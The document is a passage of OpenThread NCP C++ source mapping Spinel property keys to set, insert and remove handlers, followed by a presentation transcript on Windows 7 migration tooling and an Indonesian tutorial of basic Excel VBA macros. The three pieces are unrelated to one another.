handler = &NcpBase::HandlePropertySet<SPINEL_PROP_IPV6_ML_PREFIX>;
break;
case SPINEL_PROP_IPV6_ICMP_PING_OFFLOAD:
handler = &NcpBase::HandlePropertySet<SPINEL_PROP_IPV6_ICMP_PING_OFFLOAD>;
break;
case SPINEL_PROP_IPV6_ICMP_PING_OFFLOAD_MODE:
handler = &NcpBase::HandlePropertySet<SPINEL_PROP_IPV6_ICMP_PING_OFFLOAD_MODE>;
break;
case SPINEL_PROP_THREAD_CHILD_TIMEOUT:
handler = &NcpBase::HandlePropertySet<SPINEL_PROP_THREAD_CHILD_TIMEOUT>;
break;
#if OPENTHREAD_ENABLE_JOINER
case SPINEL_PROP_MESHCOP_JOINER_COMMISSIONING:
handler = &NcpBase::HandlePropertySet<SPINEL_PROP_MESHCOP_JOINER_COMMISSIONING>;
break;
#endif
case SPINEL_PROP_THREAD_RLOC16_DEBUG_PASSTHRU:
handler = &NcpBase::HandlePropertySet<SPINEL_PROP_THREAD_RLOC16_DEBUG_PASSTHRU>;
break;
#if OPENTHREAD_ENABLE_MAC_FILTER
case SPINEL_PROP_MAC_WHITELIST:
handler = &NcpBase::HandlePropertySet<SPINEL_PROP_MAC_WHITELIST>;
break;
case SPINEL_PROP_MAC_WHITELIST_ENABLED:
handler = &NcpBase::HandlePropertySet<SPINEL_PROP_MAC_WHITELIST_ENABLED>;
break;
case SPINEL_PROP_MAC_BLACKLIST:
handler = &NcpBase::HandlePropertySet<SPINEL_PROP_MAC_BLACKLIST>;
break;
case SPINEL_PROP_MAC_BLACKLIST_ENABLED:
handler = &NcpBase::HandlePropertySet<SPINEL_PROP_MAC_BLACKLIST_ENABLED>;
break;
case SPINEL_PROP_MAC_FIXED_RSS:
handler = &NcpBase::HandlePropertySet<SPINEL_PROP_MAC_FIXED_RSS>;
break;
#endif
case SPINEL_PROP_THREAD_MODE:
handler = &NcpBase::HandlePropertySet<SPINEL_PROP_THREAD_MODE>;
break;
case SPINEL_PROP_NET_REQUIRE_JOIN_EXISTING:
handler = &NcpBase::HandlePropertySet<SPINEL_PROP_NET_REQUIRE_JOIN_EXISTING>;
break;
case SPINEL_PROP_DEBUG_NCP_LOG_LEVEL:
handler = &NcpBase::HandlePropertySet<SPINEL_PROP_DEBUG_NCP_LOG_LEVEL>;
break;
case SPINEL_PROP_THREAD_DISCOVERY_SCAN_JOINER_FLAG:
handler = &NcpBase::HandlePropertySet<SPINEL_PROP_THREAD_DISCOVERY_SCAN_JOINER_FLAG>;
break;
case SPINEL_PROP_THREAD_DISCOVERY_SCAN_ENABLE_FILTERING:
handler = &NcpBase::HandlePropertySet<SPINEL_PROP_THREAD_DISCOVERY_SCAN_ENABLE_FILTERING>;
break;
case SPINEL_PROP_THREAD_DISCOVERY_SCAN_PANID:
handler = &NcpBase::HandlePropertySet<SPINEL_PROP_THREAD_DISCOVERY_SCAN_PANID>;
break;
#if OPENTHREAD_ENABLE_BORDER_ROUTER
case SPINEL_PROP_THREAD_ALLOW_LOCAL_NET_DATA_CHANGE:
handler = &NcpBase::HandlePropertySet<SPINEL_PROP_THREAD_ALLOW_LOCAL_NET_DATA_CHANGE>;
break;
#endif
#if OPENTHREAD_ENABLE_JAM_DETECTION
case SPINEL_PROP_JAM_DETECT_ENABLE:
handler = &NcpBase::HandlePropertySet<SPINEL_PROP_JAM_DETECT_ENABLE>;
break;
case SPINEL_PROP_JAM_DETECT_RSSI_THRESHOLD:
handler = &NcpBase::HandlePropertySet<SPINEL_PROP_JAM_DETECT_RSSI_THRESHOLD>;
break;
case SPINEL_PROP_JAM_DETECT_WINDOW:
handler = &NcpBase::HandlePropertySet<SPINEL_PROP_JAM_DETECT_WINDOW>;
break;
case SPINEL_PROP_JAM_DETECT_BUSY:
handler = &NcpBase::HandlePropertySet<SPINEL_PROP_JAM_DETECT_BUSY>;
break;
#endif
#if OPENTHREAD_ENABLE_LEGACY
case SPINEL_PROP_NEST_LEGACY_ULA_PREFIX:
handler = &NcpBase::HandlePropertySet<SPINEL_PROP_NEST_LEGACY_ULA_PREFIX>;
break;
#endif
case SPINEL_PROP_CNTR_RESET:
handler = &NcpBase::HandlePropertySet<SPINEL_PROP_CNTR_RESET>;
break;
#if OPENTHREAD_ENABLE_CHILD_SUPERVISION
case SPINEL_PROP_CHILD_SUPERVISION_CHECK_TIMEOUT:
handler = &NcpBase::HandlePropertySet<SPINEL_PROP_CHILD_SUPERVISION_CHECK_TIMEOUT>;
break;
#endif
#endif // OPENTHREAD_MTD || OPENTHREAD_FTD
// --------------------------------------------------------------------------
// FTD Only Properties (Set Handler)
#if OPENTHREAD_FTD
case SPINEL_PROP_NET_PSKC:
handler = &NcpBase::HandlePropertySet<SPINEL_PROP_NET_PSKC>;
break;
case SPINEL_PROP_THREAD_NETWORK_ID_TIMEOUT:
handler = &NcpBase::HandlePropertySet<SPINEL_PROP_THREAD_NETWORK_ID_TIMEOUT>;
break;
case SPINEL_PROP_THREAD_LOCAL_LEADER_WEIGHT:
handler = &NcpBase::HandlePropertySet<SPINEL_PROP_THREAD_LOCAL_LEADER_WEIGHT>;
break;
case SPINEL_PROP_THREAD_ROUTER_ROLE_ENABLED:
handler = &NcpBase::HandlePropertySet<SPINEL_PROP_THREAD_ROUTER_ROLE_ENABLED>;
break;
case SPINEL_PROP_THREAD_CHILD_COUNT_MAX:
handler = &NcpBase::HandlePropertySet<SPINEL_PROP_THREAD_CHILD_COUNT_MAX>;
break;
case SPINEL_PROP_THREAD_ROUTER_UPGRADE_THRESHOLD:
handler = &NcpBase::HandlePropertySet<SPINEL_PROP_THREAD_ROUTER_UPGRADE_THRESHOLD>;
break;
case SPINEL_PROP_THREAD_ROUTER_DOWNGRADE_THRESHOLD:
handler = &NcpBase::HandlePropertySet<SPINEL_PROP_THREAD_ROUTER_DOWNGRADE_THRESHOLD>;
break;
case SPINEL_PROP_THREAD_CONTEXT_REUSE_DELAY:
handler = &NcpBase::HandlePropertySet<SPINEL_PROP_THREAD_CONTEXT_REUSE_DELAY>;
break;
case SPINEL_PROP_THREAD_ROUTER_SELECTION_JITTER:
handler = &NcpBase::HandlePropertySet<SPINEL_PROP_THREAD_ROUTER_SELECTION_JITTER>;
break;
case SPINEL_PROP_THREAD_PREFERRED_ROUTER_ID:
handler = &NcpBase::HandlePropertySet<SPINEL_PROP_THREAD_PREFERRED_ROUTER_ID>;
break;
#if OPENTHREAD_CONFIG_ENABLE_STEERING_DATA_SET_OOB
case SPINEL_PROP_THREAD_STEERING_DATA:
handler = &NcpBase::HandlePropertySet<SPINEL_PROP_THREAD_STEERING_DATA>;
break;
#endif
#if OPENTHREAD_ENABLE_UDP_PROXY
case SPINEL_PROP_THREAD_UDP_PROXY_STREAM:
handler = &NcpBase::HandlePropertySet<SPINEL_PROP_THREAD_UDP_PROXY_STREAM>;
break;
#endif
case SPINEL_PROP_THREAD_ACTIVE_DATASET:
handler = &NcpBase::HandlePropertySet<SPINEL_PROP_THREAD_ACTIVE_DATASET>;
break;
case SPINEL_PROP_THREAD_PENDING_DATASET:
handler = &NcpBase::HandlePropertySet<SPINEL_PROP_THREAD_PENDING_DATASET>;
break;
case SPINEL_PROP_THREAD_MGMT_SET_ACTIVE_DATASET:
handler = &NcpBase::HandlePropertySet<SPINEL_PROP_THREAD_MGMT_SET_ACTIVE_DATASET>;
break;
case SPINEL_PROP_THREAD_MGMT_SET_PENDING_DATASET:
handler = &NcpBase::HandlePropertySet<SPINEL_PROP_THREAD_MGMT_SET_PENDING_DATASET>;
break;
case SPINEL_PROP_THREAD_MGMT_GET_ACTIVE_DATASET:
handler = &NcpBase::HandlePropertySet<SPINEL_PROP_THREAD_MGMT_GET_ACTIVE_DATASET>;
break;
case SPINEL_PROP_THREAD_MGMT_GET_PENDING_DATASET:
handler = &NcpBase::HandlePropertySet<SPINEL_PROP_THREAD_MGMT_GET_PENDING_DATASET>;
break;
#if OPENTHREAD_ENABLE_CHILD_SUPERVISION
case SPINEL_PROP_CHILD_SUPERVISION_INTERVAL:
handler = &NcpBase::HandlePropertySet<SPINEL_PROP_CHILD_SUPERVISION_INTERVAL>;
break;
#endif
#if OPENTHREAD_ENABLE_COMMISSIONER
case SPINEL_PROP_MESHCOP_COMMISSIONER_STATE:
handler = &NcpBase::HandlePropertySet<SPINEL_PROP_MESHCOP_COMMISSIONER_STATE>;
break;
case SPINEL_PROP_MESHCOP_COMMISSIONER_PROVISIONING_URL:
handler = &NcpBase::HandlePropertySet<SPINEL_PROP_MESHCOP_COMMISSIONER_PROVISIONING_URL>;
break;
case SPINEL_PROP_MESHCOP_COMMISSIONER_ANNOUNCE_BEGIN:
handler = &NcpBase::HandlePropertySet<SPINEL_PROP_MESHCOP_COMMISSIONER_ANNOUNCE_BEGIN>;
break;
case SPINEL_PROP_MESHCOP_COMMISSIONER_ENERGY_SCAN:
handler = &NcpBase::HandlePropertySet<SPINEL_PROP_MESHCOP_COMMISSIONER_ENERGY_SCAN>;
break;
case SPINEL_PROP_MESHCOP_COMMISSIONER_PAN_ID_QUERY:
handler = &NcpBase::HandlePropertySet<SPINEL_PROP_MESHCOP_COMMISSIONER_PAN_ID_QUERY>;
break;
case SPINEL_PROP_MESHCOP_COMMISSIONER_MGMT_GET:
handler = &NcpBase::HandlePropertySet<SPINEL_PROP_MESHCOP_COMMISSIONER_MGMT_GET>;
break;
case SPINEL_PROP_MESHCOP_COMMISSIONER_MGMT_SET:
handler = &NcpBase::HandlePropertySet<SPINEL_PROP_MESHCOP_COMMISSIONER_MGMT_SET>;
break;
#endif
#if OPENTHREAD_ENABLE_CHANNEL_MANAGER
case SPINEL_PROP_CHANNEL_MANAGER_NEW_CHANNEL:
handler = &NcpBase::HandlePropertySet<SPINEL_PROP_CHANNEL_MANAGER_NEW_CHANNEL>;
break;
case SPINEL_PROP_CHANNEL_MANAGER_DELAY:
handler = &NcpBase::HandlePropertySet<SPINEL_PROP_CHANNEL_MANAGER_DELAY>;
break;
case SPINEL_PROP_CHANNEL_MANAGER_SUPPORTED_CHANNELS:
handler = &NcpBase::HandlePropertySet<SPINEL_PROP_CHANNEL_MANAGER_SUPPORTED_CHANNELS>;
break;
case SPINEL_PROP_CHANNEL_MANAGER_FAVORED_CHANNELS:
handler = &NcpBase::HandlePropertySet<SPINEL_PROP_CHANNEL_MANAGER_FAVORED_CHANNELS>;
break;
case SPINEL_PROP_CHANNEL_MANAGER_CHANNEL_SELECT:
handler = &NcpBase::HandlePropertySet<SPINEL_PROP_CHANNEL_MANAGER_CHANNEL_SELECT>;
break;
case SPINEL_PROP_CHANNEL_MANAGER_AUTO_SELECT_ENABLED:
handler = &NcpBase::HandlePropertySet<SPINEL_PROP_CHANNEL_MANAGER_AUTO_SELECT_ENABLED>;
break;
case SPINEL_PROP_CHANNEL_MANAGER_AUTO_SELECT_INTERVAL:
handler = &NcpBase::HandlePropertySet<SPINEL_PROP_CHANNEL_MANAGER_AUTO_SELECT_INTERVAL>;
break;
#endif
#if OPENTHREAD_CONFIG_ENABLE_TIME_SYNC
case SPINEL_PROP_TIME_SYNC_PERIOD:
handler = &NcpBase::HandlePropertySet<SPINEL_PROP_TIME_SYNC_PERIOD>;
break;
case SPINEL_PROP_TIME_SYNC_XTAL_THRESHOLD:
handler = &NcpBase::HandlePropertySet<SPINEL_PROP_TIME_SYNC_XTAL_THRESHOLD>;
break;
#endif
#endif // #if OPENTHREAD_FTD
// --------------------------------------------------------------------------
// Raw Link API Properties (Set Handler)
#if OPENTHREAD_RADIO || OPENTHREAD_ENABLE_RAW_LINK_API
case SPINEL_PROP_MAC_15_4_SADDR:
handler = &NcpBase::HandlePropertySet<SPINEL_PROP_MAC_15_4_SADDR>;
break;
case SPINEL_PROP_MAC_SRC_MATCH_ENABLED:
handler = &NcpBase::HandlePropertySet<SPINEL_PROP_MAC_SRC_MATCH_ENABLED>;
break;
case SPINEL_PROP_MAC_SRC_MATCH_SHORT_ADDRESSES:
handler = &NcpBase::HandlePropertySet<SPINEL_PROP_MAC_SRC_MATCH_SHORT_ADDRESSES>;
break;
case SPINEL_PROP_MAC_SRC_MATCH_EXTENDED_ADDRESSES:
handler = &NcpBase::HandlePropertySet<SPINEL_PROP_MAC_SRC_MATCH_EXTENDED_ADDRESSES>;
break;
case SPINEL_PROP_PHY_ENABLED:
handler = &NcpBase::HandlePropertySet<SPINEL_PROP_PHY_ENABLED>;
break;
#endif // #if OPENTHREAD_RADIO || OPENTHREAD_ENABLE_RAW_LINK_API
default:
handler = NULL;
}
return handler;
}
NcpBase::PropertyHandler NcpBase::FindInsertPropertyHandler(spinel_prop_key_t aKey)
{
NcpBase::PropertyHandler handler;
switch (aKey)
{
// --------------------------------------------------------------------------
// Common Properties (Insert Handler)
case SPINEL_PROP_UNSOL_UPDATE_FILTER:
handler = &NcpBase::HandlePropertyInsert<SPINEL_PROP_UNSOL_UPDATE_FILTER>;
break;
// --------------------------------------------------------------------------
// MTD (or FTD) Properties (Insert Handler)
#if OPENTHREAD_MTD || OPENTHREAD_FTD
case SPINEL_PROP_IPV6_ADDRESS_TABLE:
handler = &NcpBase::HandlePropertyInsert<SPINEL_PROP_IPV6_ADDRESS_TABLE>;
break;
case SPINEL_PROP_IPV6_MULTICAST_ADDRESS_TABLE:
handler = &NcpBase::HandlePropertyInsert<SPINEL_PROP_IPV6_MULTICAST_ADDRESS_TABLE>;
break;
case SPINEL_PROP_THREAD_ASSISTING_PORTS:
handler = &NcpBase::HandlePropertyInsert<SPINEL_PROP_THREAD_ASSISTING_PORTS>;
break;
#if OPENTHREAD_ENABLE_BORDER_ROUTER
case SPINEL_PROP_THREAD_OFF_MESH_ROUTES:
handler = &NcpBase::HandlePropertyInsert<SPINEL_PROP_THREAD_OFF_MESH_ROUTES>;
break;
case SPINEL_PROP_THREAD_ON_MESH_NETS:
handler = &NcpBase::HandlePropertyInsert<SPINEL_PROP_THREAD_ON_MESH_NETS>;
break;
#endif
#if OPENTHREAD_ENABLE_MAC_FILTER
case SPINEL_PROP_MAC_WHITELIST:
handler = &NcpBase::HandlePropertyInsert<SPINEL_PROP_MAC_WHITELIST>;
break;
case SPINEL_PROP_MAC_BLACKLIST:
handler = &NcpBase::HandlePropertyInsert<SPINEL_PROP_MAC_BLACKLIST>;
break;
case SPINEL_PROP_MAC_FIXED_RSS:
handler = &NcpBase::HandlePropertyInsert<SPINEL_PROP_MAC_FIXED_RSS>;
break;
#endif
#endif // OPENTHREAD_MTD || OPENTHREAD_FTD
// --------------------------------------------------------------------------
// FTD Only Properties (Insert Handler)
#if OPENTHREAD_FTD
#if OPENTHREAD_ENABLE_COMMISSIONER
case SPINEL_PROP_MESHCOP_COMMISSIONER_JOINERS:
handler = &NcpBase::HandlePropertyInsert<SPINEL_PROP_MESHCOP_COMMISSIONER_JOINERS>;
break;
case SPINEL_PROP_THREAD_JOINERS:
handler = &NcpBase::HandlePropertyInsert<SPINEL_PROP_THREAD_JOINERS>;
break;
#endif
#endif // OPENTHREAD_FTD
// --------------------------------------------------------------------------
// Raw Link API Properties (Insert Handler)
#if OPENTHREAD_RADIO || OPENTHREAD_ENABLE_RAW_LINK_API
case SPINEL_PROP_MAC_SRC_MATCH_SHORT_ADDRESSES:
handler = &NcpBase::HandlePropertyInsert<SPINEL_PROP_MAC_SRC_MATCH_SHORT_ADDRESSES>;
break;
case SPINEL_PROP_MAC_SRC_MATCH_EXTENDED_ADDRESSES:
handler = &NcpBase::HandlePropertyInsert<SPINEL_PROP_MAC_SRC_MATCH_EXTENDED_ADDRESSES>;
break;
#endif
default:
handler = NULL;
}
return handler;
}
NcpBase::PropertyHandler NcpBase::FindRemovePropertyHandler(spinel_prop_key_t aKey)
{
NcpBase::PropertyHandler handler;
switch (aKey)
{
// --------------------------------------------------------------------------
// Common Properties (Remove Handler)
case SPINEL_PROP_UNSOL_UPDATE_FILTER:
handler = &NcpBase::HandlePropertyRemove<SPINEL_PROP_UNSOL_UPDATE_FILTER>;
break;
// --------------------------------------------------------------------------
// MTD (or FTD) Properties (Remove Handler)
#if OPENTHREAD_MTD || OPENTHREAD_FTD
case SPINEL_PROP_IPV6_ADDRESS_TABLE:
handler = &NcpBase::HandlePropertyRemove<SPINEL_PROP_IPV6_ADDRESS_TABLE>;
break;
case SPINEL_PROP_IPV6_MULTICAST_ADDRESS_TABLE:
handler = &NcpBase::HandlePropertyRemove<SPINEL_PROP_IPV6_MULTICAST_ADDRESS_TABLE>;
break;
#if OPENTHREAD_ENABLE_BORDER_ROUTER
case SPINEL_PROP_THREAD_OFF_MESH_ROUTES:
handler = &NcpBase::HandlePropertyRemove<SPINEL_PROP_THREAD_OFF_MESH_ROUTES>;
break;
case SPINEL_PROP_THREAD_ON_MESH_NETS:
handler = &NcpBase::HandlePropertyRemove<SPINEL_PROP_THREAD_ON_MESH_NETS>;
break;
#endif
case SPINEL_PROP_THREAD_ASSISTING_PORTS:
handler = &NcpBase::HandlePropertyRemove<SPINEL_PROP_THREAD_ASSISTING_PORTS>;
break;
#if OPENTHREAD_ENABLE_MAC_FILTER
case SPINEL_PROP_MAC_WHITELIST:
handler = &NcpBase::HandlePropertyRemove<SPINEL_PROP_MAC_WHITELIST>;
break;
case SPINEL_PROP_MAC_BLACKLIST:
handler = &NcpBase::HandlePropertyRemove<SPINEL_PROP_MAC_BLACKLIST>;
break;
case SPINEL_PROP_MAC_FIXED_RSS:
handler = &NcpBase::HandlePropertyRemove<SPINEL_PROP_MAC_FIXED_RSS>;
break;
#endif
#endif // OPENTHREAD_MTD || OPENTHREAD_FTD
// --------------------------------------------------------------------------
// FTD Only Properties (Remove Handler)
#if OPENTHREAD_FTD
case SPINEL_PROP_THREAD_ACTIVE_ROUTER_IDS:
handler = &NcpBase::HandlePropertyRemove<SPINEL_PROP_THREAD_ACTIVE_ROUTER_IDS>;
break;
#if OPENTHREAD_ENABLE_COMMISSIONER
case SPINEL_PROP_MESHCOP_COMMISSIONER_JOINERS:
handler = &NcpBase::HandlePropertyRemove<SPINEL_PROP_MESHCOP_COMMISSIONER_JOINERS>;
break;
#endif
#endif // OPENTHREAD_FTD
// --------------------------------------------------------------------------
// Raw Link API Properties (Remove Handler)
#if OPENTHREAD_RADIO || OPENTHREAD_ENABLE_RAW_LINK_API
case SPINEL_PROP_MAC_SRC_MATCH_SHORT_ADDRESSES:
handler = &NcpBase::HandlePropertyRemove<SPINEL_PROP_MAC_SRC_MATCH_SHORT_ADDRESSES>;
break;
case SPINEL_PROP_MAC_SRC_MATCH_EXTENDED_ADDRESSES:
handler = &NcpBase::HandlePropertyRemove<SPINEL_PROP_MAC_SRC_MATCH_EXTENDED_ADDRESSES>;
break;
#endif
default:
handler = NULL;
}
return handler;
}
} // namespace Ncp
} // namespace ot
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1 Making a Seamless Move to Windows ® 7 Imagine a migration that went so well, nobody noticed.
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Presentation on theme: "1 Making a Seamless Move to Windows ® 7 Imagine a migration that went so well, nobody noticed."— Presentation transcript:
1 1 Making a Seamless Move to Windows ® 7 Imagine a migration that went so well, nobody noticed.
2 Process/Timeline PHASE I Benchmark Gather user data Define success Create project plan PHASE II Image Deployment Create one Master Image Deploy remotely Restore with personalizations PHASE III Validate and Measure Success ID and fix performance issues Disaster recovery and repair, as needed Quantify success 2
3 PHASE I Stratusphere ™ FIT Gather user data Define success Create project plan 3
4 PHASE IIPHASE I Horizon Mirage ™ Create one Master Image Deploy remotely Restore with personalizations 4
5 PHASE IIIPHASE IIPHASE I Stratusphere ™ UX ID and fix performance issues Disaster recovery and repair, as needed Quantify success 5
6 6 Process / Timeline PHASE I Benchmark Gather user data Define success Create project plan PHASE II Image Deployment Create one Master Image Deploy remotely Restore with personalizations PHASE III Validate and Measure Success ID and fix performance issues Disaster recovery and repair, as needed Quantify success
7 PHASE I Benchmark with Stratusphere™ FIT Assess and quantify machine, user, and infrastructure metrics. Provide visibility into user persona and authored data. Access applications for usage and master image strategy. Define the baseline user experience. Design base image on actual usage metrics. Group users into appropriate tiers based on consumption. 7
8 PHASE I Visibility Throughout Is Key 8 Workers’ Desktops Target Image How are users spending their time? What are they consuming? What is the baseline user experience? Are image resources adequate and available? Are problems developing? Constraints and/or avoidable crashes ahead?
9 PHASE I Summary of Benefits Collect data automatically. Accurate data — no lost work time for users. Reduce migration labor costs. Accurate metrics lead to accurate planning. Save on licensing costs. Identify apps that users have but never use. 9
10 Process / Timeline 10 PHASE I Benchmark Gather user data Define success Create project plan PHASE II Image Deployment Create one Master Image Deploy remotely Restore with personalizations PHASE III Validate and Measure Success ID and fix performance issues Disaster recovery and repair, as needed Quantify success
11 PHASE IIPHASE I Mirage™ Server Centralized Images Network-Optimized Synchronization and Streaming Windows ® 7 Image Desktops/Laptops with Mirage Client Local Copies Migrate Image Centrally and In-Place 11
12 PHASE IIPHASE I Windows 7 Reference Machine Reference CVD Base Image CVD 2 CVD 1 Base Image is captured from the Reference CVD. Horizon Mirage™ Server CVD 3 Branch Reflector The BI is downloaded to one or more Branch Reflectors. 12 Endpoints leverage Reflector to load new Base Image.
13 PHASE IIPHASE I Summary of Benefits Better manage and optimize image creation. Manage one Master Image vs Achieve more migrations per day. Centralized migration operations eliminate most or all PC visits. Avoid loss of user files. Quickly revert to original Windows XP, preserving user personalizations and data. 13
14 Process / Timeline 14 PHASE I Benchmark Gather user data Define success Create project plan PHASE II Image Deployment Create one Master Image Deploy remotely Restore with personalizations PHASE III Validate and Measure Success ID and fix performance issues Disaster recovery and repair, as needed Quantify success
15 PHASE IIIPHASE IIPHASE I Validate with Stratusphere™ UX Ongoing and proactive monitoring—the ability to quantify UX. Validate image changes to ensure optimal performance. Identify rogue entities and/or bottlenecks to quickly remediate issues. Enable "what-if" scenarios to plan for growth and changes. Get support for mixed VMware Mirage and VMware View environments with single pane-of-glass monitoring. 15
16 PHASE IIIPHASE IIPHASE I Measure for Success 16 Reporting to ensure equal-to-better user experience At-a-glance comparison of physical machines to Mirage-managed machines Easy to see results to quickly determine if users are reaping the benefits of the transformation
17 PHASE IIIPHASE IIPHASE I Summary of Benefits Prevent unplanned downtime. Get fewer post-migration calls to the Help Desk. Track system performance. See from the desktop to the data center, and across all networks. Measure success. Built-in reports provide accurate ROI and TCO data. 17
18 What a migration looks like when you simplify the process: Save money. Reduce migration labor costs; save on licensing costs. Save time. Reduce user downtime during migration; manage one image instead of 300. Use fewer resources. Centralize migration operations; manage fewer post-migration calls. Monitor proactively. Alert administrators to issues; prevent unplanned downtime. Keep end-users productive. Optimize performance; provision resources quickly. 18
19 Simplify the migration process — and execute it with speed and confidence. Migration Timeline T-3T-2T-1T-0Post-Migration Monitor and measure all hardware, operating systems, and applications. Easily discover all the metrics you need before the move. Define what migration success will mean to you. Define baseline of usage and user experience. Produce reports and use them to put a project plan together. Create a master image. Create and deploy a mirror-perfect image (and manage one image instead of 300). Conduct phased image deployment. Set triggers to let you know when post-migration performance is less than ideal — and drill down to see where the problem really is. Fix it before anyone reports it as an issue. Monitor and compare. Validate that migration worked properly. Generate reports that quantify success. Disaster recovery. Use pre-migration snapshot for recovery and repair, as needed. Recover systems due to lost, stolen, or broken PCs. 19
20 Imagine this: You controlled your migration instead of it controlling you. You migrated on time and on budget — with minimal downtime and optimum performance during and after the migration. 20
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Saturday, July 2, 2011
Visual Basic ApplicationVB di excell
Beberapa Kode
Auto Run
Ada beberapa cara untuk membuat macros yang kita buat berjalan secara otomatis ketika pertama kali membuka workbook. Yang pertama adalah Auto Open Method, yang diletakkan di modules, kedua adalah Workbook Open Method, yang diletakkan di pada obyek Workbook (lihat penjelasan pada langkah 3). Dua Contoh kode berikut akan menampilkan pesan “hi” ketika Workbook pertama kali dibuka.
Sub Auto_Open( )
Msgbox “hi”
End Sub
Private Sub Workbook_Open( )
Msgbox “hi”
End Sub
Menghitung Rows, Columns dan Sheet
Kode berikut digunakan untuk menghitung berapa jumlah rows (baris) atau columns(kolom) yang telah kita sorot dengan kursor.
Sub Hitung( )
hitung_baris = Selection.Rows.Count
hitung_kolom = Selection.Columns.Count
MsgBox hitung_baris & " " & hitung_kolom
End Sub
Sub hitung_sheet( )
hitung_sheet = Application.Sheets.Count
Msgbox hitung_sheet
End Sub
Meng-kopi Range
Contoh berikut akan meng-kopi range A1 sampai A3 ke D1 sampai D3
Sub Kopi_Range( )
Range (“A1:A3”).Copy Destination:=Range(“D1:D3”)
End Sub
Waktu Sekarang
Contoh berikut akan menampilkan waktu pada saat ini
Sub sekarang( )
Range (“A1”)= Now
End Sub
Mengetahui Posisi Sel yang Sedang Aktif
Sub posisi( )
baris = ActiveCell.Row
kolom = ActiveCell.Column
Msgbox baris & “,” & kolom
End Sub
Menghapus Baris yang Kosong
Sub hapus_baris_kosong( )
Rng = Selection.Rows.Count
ActiveCell.Offset(0, 0).Select
For i = 1 To Rng
If ActiveCell.Value = "" Then
Selection.EntireRow.Delete
Else
ActiveCell.Offset(1, 0).Select
End If
Next I
End Sub
Menebalkan dan Mewarnai Huruf (Font)
Contoh berikut akan menebalkan dan memberi warna merah pada huruf dimana sel sedang aktif.
Sub tebal_merah( )
Selection.Font.Bold = True
Selection.Font.ColorIndex = 3
End Sub
Mengirimkan Workbook melalui Email
Sub email( )
ActiveWorkbook.SendMail recipients:= ”[email protected]”
End Sub
Fungsi Excel
Menggunakan fungsi bawaan Excel dalam VBE hampir sama dengan menggunakannya dalam Excel. Misal fungsi round untuk membulatkan sebuah angka, dalam spreadsheet akan terlihat seperti ini
= round(1.2367, 2)
Dalam VBE Anda cukup menggunakan Application kemudian disusul fungsi yang akan dipakai.
Sub bulat( )
ActiveCell = Application.Round(ActiveCell, 2)
End Sub
Menghapus Nama-Nama Range
Contoh berikut akan menghapus semua nama-nama range di dalam workbook Anda
Sub hapus_nama_range( )
Dim NameX As Name
For Each NameX In Names
ActiveWorkbook.Names(NameX.Name).Delete
Next NameX
End Sub
Layar Berkedip
Program dalam macros yang sedang berjalan dapat membuat layar berkedip-kedip, untuk menghentikannya Anda dapat menyisipkan kode berikut.
Application.ScreenUpdating = False
Menuju Range Tertentu
Untuk menuju suatu range tertentu, kode-kode berikut dapat digunakan.
Application.Goto Reference:=”A1”
Atau,
Range(“A1”).Select
Menuju Sheet tertentu
Sedangkan untuk menuju worksheet tertentu, gunakan kode-kode berikut.
Sheets(1).Select
Atau
Sheet1.Select
Untuk menuju Sheet terdepan (nomor 1)
Sheet(“coba”).Select
Untuk menuju Sheet bernama “coba”
Menyembunyikan WorkSheet
Kode berikut berfungsi untuk menyembunyikan Sheet1
Sheet1.Visible = xlSheetVeryHidden
Pengguna tidak dapat membuka sheet yang telah disembunyikan dengan cara ini, hanya dengan kode VBE sheet dapat dibuka kembali.
Input Box
Kode berikut berguna untuk memunculkan Input Box
InputBox(“Masukkan Nama”)
Menyisipkan Baris dan Kolom
Kode berikut akan menyisipkan baris diatas range A1,
Range(“A1”).Select
Selection.EntireRow.Insert
Sedang yang berikut akan menyisipkan satu kolom disamping kiri range A1,
Range(“A1”).Select
Selection.EntireColumn.Insert
Mengatur Ulang Ukuran Range
Selection.Resize(7,7).Select
Memberi Nama Range
Selection.Name = “nama”
Menyimpan File
Kode berikut berguna untuk menyimpan file tanpa memberi nama,
ActiveWorkbook.Save
Sedangkan bila Anda hendak memberi nama (SaveAs), gunakan kode berikut,
ActiveWorkbook.SaveAs Filename:=”C:\coba.xls”
Penjadwalan
Kadang-kadang kita hendak menjadwalkan sebuah tugas kepada Excel, contohnya menyimpan file pada jam-jam tertentu. VBE dapat melakukannya dengan menggunakan fungsi Application.OnTime. Sebagai contoh, kode dibawah ini akan menjalankan prosedur Simpan( ) pada jam 12:00 dan 16:00, prosedur Simpan( ) sendiri berisi perintah untuk menyimpan file,
Sub tugas()
Application.OnTime TimeValue("12:00:00"), "Simpan"
Application.OnTime TimeValue("16:00:00"), "Simpan"
End Sub
Sub Simpan()
ActiveWorkbook.Save
End Sub
Bila Anda hendak merubah jamnya, missal jam 10:03:05, maka rubah TimeValue menjadi TimeValue(“10:03:05”).
Sedangkan bila Anda hendak melakukannya satu jam setelah prosedur tugas( ) dijalankan maka rubahlah kodenya seperti demikian,
Sub tugas()
Application.OnTime Now + TimeValue("01:00:00"), "Simpan"
End Sub
Perhatikan penambahan kata “Now”. Kode-kode di atas bekerja bila disimpan dalam module, bula Anda ingin menyimpannya di dalam Sheet1 (atau worksheet manapun), maka rubahlah “Simpan” menjadi Sheet1.Simpan
Melangkah Lebih Jauh
Di awal tutorial ini penulis telah menyebutkan bahwa WorkSheet (demikian juga dengan WorkBook) merupakan sebuah obyek dalam Ms Excell. Seperti kita ketahui, Visual Basic merupakan bahasa pemograman yang berorientasi obyek.
Pada bab-bab sebelumya sebenarnya kita telah membentuk sebuah obyek bernama "Module1" yang dapat dipanggil dengan menekan Ctrl+q, dan memberinya prosedur bernama "coba".
Perhatikan ketika kita mengetik "Module1", kemudian mengetik "." Maka akan muncul tampilan seperti diatas. Sebuah kotak dengan sebuah gambar berwarna hijau dengan tulisan "coba".
Pada penjelasan berikut, kita akan membuat prosedur-prosedur buatan kita sendiri pada Worksheet dan Workbook. Mengapa? Karena kode-kode program dalam prosedur yang kita buat di sebuah Worksheet dan Workbook tertentu, hanya akan bekerja pada Worksheet atau Workbook tersebut. Sedang prosedur yang tertulis pada Modules, bekerja pada Worksheet dalam Worbook yang aktif.
Sebagai contoh ketikan kode ini dalam prosedur Sub Coba() dalam Module 1:
Range("A1").Value= "coba"
lalu buka contoh.xls-sheet1, jalankan program,
buka contoh.xls-Sheet2, jalankan program,
kemudian sheet3,
Kemudian buat sebuah Workbook baru,
Pada Workbook baru, bernama Book1 ini, buka Sheet1, jalankan program,
